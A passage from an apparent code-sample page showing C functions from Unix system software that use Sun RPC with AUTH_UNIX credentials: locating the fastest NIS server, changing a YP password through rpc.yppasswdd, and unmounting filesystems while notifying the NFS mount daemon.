  static const struct timeval TIMEOUT00 = { 0, 0 };
  struct findserv_req *pings;
  struct sockaddr_in sin, saved_sin;
  int found = -1;
  u_int32_t xid_seed;
  int sock, dontblock = 1;
  CLIENT *clnt;
  u_long i, j, pings_count, pings_max, fastest = -1;
  struct cu_data *cu;

  pings_max = bind->server_len * 2;	/* Reserve a little bit more memory
					   for multihomed hosts */
  pings_count = 0;
  pings = malloc (sizeof (struct findserv_req) * pings_max);
  xid_seed = (u_int32_t) (time (NULL) ^ getpid ());

  if (__builtin_expect (pings == NULL, 0))
    return -1;

  memset (&sin, '\0', sizeof (sin));
  sin.sin_family = AF_INET;
  for (i = 0; i < bind->server_len; i++)
    for (j = 0; j < bind->server_val[i].ep.ep_len; ++j)
      if (strcmp (bind->server_val[i].ep.ep_val[j].family, "inet") == 0)
	if ((bind->server_val[i].ep.ep_val[j].proto == NULL) ||
	    (bind->server_val[i].ep.ep_val[j].proto[0] == '-') ||
	    (bind->server_val[i].ep.ep_val[j].proto[0] == '\0'))
	  {
	    sin.sin_addr.s_addr =
	      inetstr2int (bind->server_val[i].ep.ep_val[j].uaddr);
	    if (sin.sin_addr.s_addr == 0)
	      continue;
	    sin.sin_port = htons (__pmap_getnisport (&sin, NIS_PROG,
						     NIS_VERSION,
						     IPPROTO_UDP));
	    if (sin.sin_port == 0)
	      continue;

	    if (pings_count >= pings_max)
	      {
		struct findserv_req *new_pings;

		pings_max += 10;
		new_pings = realloc (pings, sizeof (struct findserv_req) *
				     pings_max);
		if (__builtin_expect (new_pings == NULL, 0))
		  {
		    free (pings);
		    return -1;
		  }
		pings = new_pings;
	      }
	    memcpy ((char *) &pings[pings_count].sin, (char *) &sin,
		    sizeof (sin));
	    memcpy ((char *)&saved_sin, (char *)&sin, sizeof(sin));
	    pings[pings_count].xid = xid_seed + pings_count;
	    pings[pings_count].server_nr = i;
	    pings[pings_count].server_ep = j;
	    ++pings_count;
	  }

  /* Make sure at least one server was assigned */
  if (pings_count == 0)
    {
      free (pings);
      return -1;
    }

  /* Create RPC handle */
  sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  clnt = clntudp_create (&saved_sin, NIS_PROG, NIS_VERSION, *timeout, &sock);
  if (clnt == NULL)
    {
      close (sock);
      free (pings);
      return -1;
    }
  auth_destroy (clnt->cl_auth);
  clnt->cl_auth = authunix_create_default ();
  cu = (struct cu_data *) clnt->cl_private;
  ioctl (sock, FIONBIO, &dontblock);
  /* Send to all servers the NULLPROC */
  for (i = 0; i < pings_count; ++i)
    {
      /* clntudp_call() will increment, subtract one */
      *((u_int32_t *) (cu->cu_outbuf)) = pings[i].xid - 1;
      memcpy ((char *) &cu->cu_raddr, (char *) &pings[i].sin,
	      sizeof (struct sockaddr_in));
      /* Transmit to NULLPROC, return immediately. */
      clnt_call (clnt, NULLPROC,
		 (xdrproc_t) xdr_void, (caddr_t) 0,
		 (xdrproc_t) xdr_void, (caddr_t) 0, TIMEOUT00);
    }

  while (found == -1) {
    /* Receive reply from NULLPROC asynchronously. Note null inproc. */
    int rc = clnt_call (clnt, NULLPROC,
			(xdrproc_t) NULL, (caddr_t) 0,
			(xdrproc_t) xdr_void, (caddr_t) 0,
			*timeout);
    if (RPC_SUCCESS == rc) {
      u_int32_t val;
      memcpy (&val, cu->cu_inbuf, sizeof (u_int32_t));
      fastest = val - xid_seed;
      if (fastest < pings_count) {
	bind->server_used = pings[fastest].server_nr;
	bind->current_ep = pings[fastest].server_ep;
	found = 1;
      }
    } else {
      /*      clnt_perror(clnt, "__nis_findfastest"); */
      break;
    }
  }


  auth_destroy (clnt->cl_auth);
  clnt_destroy (clnt);
  close (sock);

  free (pings);

  return found;
}
Example #26
0
int
yp_passwd(char *username)
{
	struct yppasswd yppwd;
	int r, rpcport, status, secure=0;
	struct passwd *pw;
	struct timeval tv;
	login_cap_t *lc;
	CLIENT *client;
	char *master;
	uid_t uid;

	/*
	 * Get local domain
	 */
	if ((r = yp_get_default_domain(&domain)) != 0) {
		warnx("can't get local YP domain. Reason: %s",
		    yperr_string(r));
		return (1);
	}

	/*
	 * Find the host for the passwd map; it should be running
	 * the daemon.
	 */
	if ((r = yp_master(domain, "master.passwd.byname", &master)) == 0) {
		secure=1;
	} else if ((r = yp_master(domain, "passwd.byname", &master)) != 0) {
		warnx("can't find the master YP server. Reason: %s",
		    yperr_string(r));
		return (1);
	}

	/*
	 * Ask the portmapper for the port of the daemon.
	 */
	if ((rpcport = getrpcport(master, YPPASSWDPROG,
	    YPPASSWDPROC_UPDATE, IPPROTO_UDP)) == 0) {
		warnx("master YP server not running yppasswd daemon.");
		warnx("Can't change password.");
		return (1);
	}

	/*
	 * Be sure the port is privileged
	 */
	if (rpcport >= IPPORT_RESERVED) {
		warnx("yppasswd daemon is on an invalid port.");
		return (1);
	}

	/* Get user's login identity */
	if (!(pw = ypgetpwnam(username, secure))) {
		warnx("unknown user %s.", username);
		return (1);
	}
	if ((lc = login_getclass(pw->pw_class)) == NULL) {
		warnx("unable to get login class for user %s.", username);
		return (1);
	}

	uid = getuid();
	if (uid && uid != pw->pw_uid) {
		warnx("you may only change your own password: %s",
		    strerror(EACCES));
		return (1);
	}

	/* prompt for new password */
	yppwd.newpw.pw_passwd = ypgetnewpasswd(pw, lc, &yppwd.oldpass);

	/* tell rpc.yppasswdd */
	yppwd.newpw.pw_name	= pw->pw_name;
	yppwd.newpw.pw_uid	= pw->pw_uid;
	yppwd.newpw.pw_gid	= pw->pw_gid;
	yppwd.newpw.pw_gecos = pw->pw_gecos;
	yppwd.newpw.pw_dir	= pw->pw_dir;
	yppwd.newpw.pw_shell	= pw->pw_shell;

	client = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (client==NULL) {
		warnx("cannot contact yppasswdd on %s: Reason: %s",
		    master, yperr_string(YPERR_YPBIND));
		free(yppwd.newpw.pw_passwd);
		return (YPERR_YPBIND);
	}
	client->cl_auth = authunix_create_default();
	tv.tv_sec = 2;
	tv.tv_usec = 0;
	r = clnt_call(client, YPPASSWDPROC_UPDATE,
	    xdr_yppasswd, &yppwd, xdr_int, &status, tv);
	if (r) {
		printf("rpc to yppasswdd failed.\n");
		free(yppwd.newpw.pw_passwd);
		return (1);
	} else if (status) {
		printf("Couldn't change YP password.\n");
		free(yppwd.newpw.pw_passwd);
		return (1);
	} else {
		printf("The YP password has been changed on %s, "
	 	    "the master YP passwd server.\n", master);
		free(yppwd.newpw.pw_passwd);
		return (0);
	}
}
Example #27
0
int
umountfs(char *name, char **typelist)
{
	enum clnt_stat clnt_stat;
	struct hostent *hp;
	struct mtablist *mtab;
	struct sockaddr_in saddr;
	struct timeval pertry, try;
	CLIENT *clp;
	size_t len;
	int so, speclen, do_rpc;
	char *mntonname, *mntfromname;
	char *mntfromnamerev;
	char *nfsdirname, *orignfsdirname;
	char *resolved, realname[MAXPATHLEN];
	char *type, *delimp, *hostp, *origname;

	len = 0;
	mtab = NULL;
	mntfromname = mntonname = delimp = hostp = orignfsdirname = NULL;

	/*
	 * 1. Check if the name exists in the mounttable.
	 */
	(void)checkmntlist(name, &mntfromname, &mntonname, &type);
	/*
	 * 2. Remove trailing slashes if there are any. After that
	 * we look up the name in the mounttable again.
	 */
	if (mntfromname == NULL && mntonname == NULL) {
		speclen = strlen(name);
		for (speclen = strlen(name); 
		    speclen > 1 && name[speclen - 1] == '/';
		    speclen--)
			name[speclen - 1] = '\0';
		(void)checkmntlist(name, &mntfromname, &mntonname, &type);
		resolved = name;
		/* Save off original name in origname */
		if ((origname = strdup(name)) == NULL)
			err(1, "strdup");
		/*
		 * 3. Check if the deprecated nfs-syntax with an '@'
		 * has been used and translate it to the ':' syntax.
		 * Look up the name in the mounttable again.
		 */
		if (mntfromname == NULL && mntonname == NULL) {
			if ((delimp = strrchr(name, '@')) != NULL) {
				hostp = delimp + 1;
				if (*hostp != '\0') {
					/*
					 * Make both '@' and ':'
					 * notations equal 
					 */
					char *host = strdup(hostp);
					len = strlen(hostp);
					if (host == NULL)
						err(1, "strdup");
					memmove(name + len + 1, name,
					    (size_t)(delimp - name));
					name[len] = ':';
					memmove(name, host, len);
					free(host);
				}
				for (speclen = strlen(name); 
				    speclen > 1 && name[speclen - 1] == '/';
				    speclen--)
					name[speclen - 1] = '\0';
				name[len + speclen + 1] = '\0';
				(void)checkmntlist(name, &mntfromname,
				    &mntonname, &type);
				resolved = name;
			}
			/*
			 * 4. Check if a relative mountpoint has been
			 * specified. This should happen as last check,
			 * the order is important. To prevent possible
			 * nfs-hangs, we just call realpath(3) on the
			 * basedir of mountpoint and add the dirname again.
			 * Check the name in mounttable one last time.
			 */
			if (mntfromname == NULL && mntonname == NULL) {
				(void)strcpy(name, origname);
				if ((getrealname(name, realname)) != NULL) {
					(void)checkmntlist(realname,
					    &mntfromname, &mntonname, &type);
					resolved = realname;
				}
				/*
				 * All tests failed, return to main()
				 */
				if (mntfromname == NULL && mntonname == NULL) {
					(void)strcpy(name, origname);
					warnx("%s: not currently mounted",
					    origname);
					free(origname);
					return (1);
				}
			}
		}
		free(origname);
	} else
		resolved = name;

	if (checkvfsname(type, typelist))
		return (1);

	hp = NULL;
	nfsdirname = NULL;
	if (!strcmp(type, "nfs")) {
		if ((nfsdirname = strdup(mntfromname)) == NULL)
			err(1, "strdup");
		orignfsdirname = nfsdirname;
		if ((delimp = strchr(nfsdirname, ':')) != NULL) {
			*delimp = '\0';
			hostp = nfsdirname;
			if ((hp = gethostbyname(hostp)) == NULL) {
				warnx("can't get net id for host");
			}
			nfsdirname = delimp + 1;
		}
	}
	/*
	 * Check if the reverse entrys of the mounttable are really the
	 * same as the normal ones.
	 */
	if ((mntfromnamerev = strdup(getmntname(getmntname(mntfromname,
	    NULL, MNTON, &type, NAME), NULL, MNTFROM, &type, NAME))) == NULL)
		err(1, "strdup");
	/*
	 * Mark the uppermost mount as unmounted.
	 */
	(void)getmntname(mntfromname, mntonname, NOTHING, &type, MARK);
	/*
	 * If several equal mounts are in the mounttable, check the order
	 * and warn the user if necessary.
	 */
	if (strcmp(mntfromnamerev, mntfromname ) != 0 &&
	    strcmp(resolved, mntonname) != 0) {
		warnx("cannot umount %s, %s\n        "
		    "is mounted there, umount it first",
		    mntonname, mntfromnamerev);

		/* call getmntname again to set mntcheck[i] to 0 */
		(void)getmntname(mntfromname, mntonname,
		    NOTHING, &type, UNMARK);
		return (1);
	}
	free(mntfromnamerev);
	/*
	 * Check if we have to start the rpc-call later.
	 * If there are still identical nfs-names mounted,
	 * we skip the rpc-call. Obviously this has to
	 * happen before unmount(2), but it should happen
	 * after the previous namecheck.
	 */
	if (strcmp(type, "nfs") == 0 && getmntname(mntfromname, NULL, NOTHING,
	    &type, COUNT) != NULL)
		do_rpc = 1;
	else
		do_rpc = 0;
	if (!namematch(hp))
		return (1);
	if (unmount(mntonname, fflag) != 0 ) {
		warn("unmount of %s failed", mntonname);
		return (1);
	}
	if (vflag)
		(void)printf("%s: unmount from %s\n", mntfromname, mntonname);
	/*
	 * Report to mountd-server which nfsname
	 * has been unmounted.
	 */
	if (hp != NULL && !(fflag & MNT_FORCE) && do_rpc) {
		memset(&saddr, 0, sizeof(saddr));
		saddr.sin_family = AF_INET;
		saddr.sin_port = 0;
		memmove(&saddr.sin_addr, hp->h_addr, 
		    MIN(hp->h_length, sizeof(saddr.sin_addr)));
		pertry.tv_sec = 3;
		pertry.tv_usec = 0;
		so = RPC_ANYSOCK;
		if ((clp = clntudp_create(&saddr,
		    RPCPROG_MNT, RPCMNT_VER1, pertry, &so)) == NULL) {
			clnt_pcreateerror("Cannot MNT PRC");
			return (1);
		}
		clp->cl_auth = authunix_create_default();
		try.tv_sec = 20;
		try.tv_usec = 0;
		clnt_stat = clnt_call(clp, RPCMNT_UMOUNT, xdr_dir,
		    nfsdirname, xdr_void, (caddr_t)0, try);
		if (clnt_stat != RPC_SUCCESS) {
			clnt_perror(clp, "Bad MNT RPC");
			return (1);
		}
		/*
		 * Remove the unmounted entry from /var/db/mounttab.
		 */
		if (read_mtab(mtab)) {
			mtab = mtabhead;
			clean_mtab(hostp, nfsdirname);
			if(!write_mtab())
				warnx("cannot remove entry %s:%s",
				    hostp, nfsdirname);
			free_mtab();
		}
		free(orignfsdirname);
		auth_destroy(clp->cl_auth);
		clnt_destroy(clp);
	}